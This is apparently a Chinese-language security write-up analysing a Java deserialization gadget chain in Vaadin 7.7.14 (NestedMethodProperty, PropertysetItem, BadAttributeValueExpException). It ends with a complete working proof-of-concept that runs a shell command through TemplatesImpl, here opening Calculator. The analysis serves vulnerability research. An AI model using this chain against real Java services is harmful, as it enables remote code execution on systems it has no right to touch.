0x01 前言
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<dependencies>
<dependency>
<groupId>com.vaadin</groupId>
<artifactId>vaadin-server</artifactId>
<version>7.7.14</version>
</dependency>
<dependency>
<groupId>com.vaadin</groupId>
<artifactId>vaadin-shared</artifactId>
<version>7.7.14</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.29.0-GA</version>
</dependency>
</dependencies>
|
Vaadin 是一个在 Java 后端快速开发 web 应用程序的平台。用 Java 构建可伸缩的 UI,并使用集成的工具、组件和设计系统来更快地迭代、更好地设计和简化开发过程。
0x02 前置知识
NestedMethodProperty
com.vaadin.data.util.NestedMethodProperty
类是一个封装访问属性方法的类。构造方法接收两个参数,一个是对象实例,一个是属性值。初始化时调用 initialize方法获取实例类中的相关信息存放在成员变量中。
等到调用NestedMethodProperty
的getValue
方法时,就会反射调用封装对象指定属性的getter
方法
因此这个类又是可以触发 TemplaesImpl 的利用方式
PropertysetItem
触发类com.vaadin.data.util.PropertysetItem
,这个类用来存储Property属性值,为其映射一个 id 对象。
数据存放在成员变量 map 中,想要获取相应属性的时,则调用getItemProperty
方法在 map 中获取。
映射的 id 对象则存储在成员变量 list 中。
PropertysetItem
的toString
方法,获取全部 id 对象并遍历,使用getItemProperty
方法获取映射的Property
属性对象,并调用其getValue
方法
使用PropertysetItem
的toString
方法触发NestedMethodProperty
的getValue
方法。
触发点选择BadAttributeValueExpException
中的readObject
方法
构造exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
|
import com.vaadin.data.util.NestedMethodProperty;
import com.vaadin.data.util.PropertysetItem;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.UUID;
public class Poc {
public static void main(String[] args) throws Exception {
byte[] code = getTemplates();
byte[][] codes = {code};
// TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "useless");
setFieldValue(templates, "_tfactory", null);
setFieldValue(templates, "_bytecodes", codes);
NestedMethodProperty<Object> nestedMethodProperty = new NestedMethodProperty(templates,"outputProperties");
PropertysetItem propertysetItem = new PropertysetItem();
propertysetItem.addItemProperty("outputProperties", nestedMethodProperty);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException,"val",propertysetItem);
String payload = serialize(badAttributeValueExpException);
unserialize(payload);
}
public static void unserialize(String base) throws IOException, ClassNotFoundException {
byte[] result = Base64.getDecoder().decode(base);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(result);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static String serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
public static byte[] getTemplates() throws CannotCompileException, IOException, NotFoundException {
ClassPool classPool = ClassPool.getDefault();
// 生成一个随机的类名
String randomClassName = "Test_" + UUID.randomUUID().toString().replace("-", "");
CtClass ctClass = classPool.makeClass(randomClassName);
ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"open -a Calculator\");";
ctClass.makeClassInitializer().insertBefore(block);
return ctClass.toBytecode();
}
public static void setFieldValue(Object object, String field, Object arg) throws NoSuchFieldException, IllegalAccessException {
Field f = object.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(object, arg);
}
}
|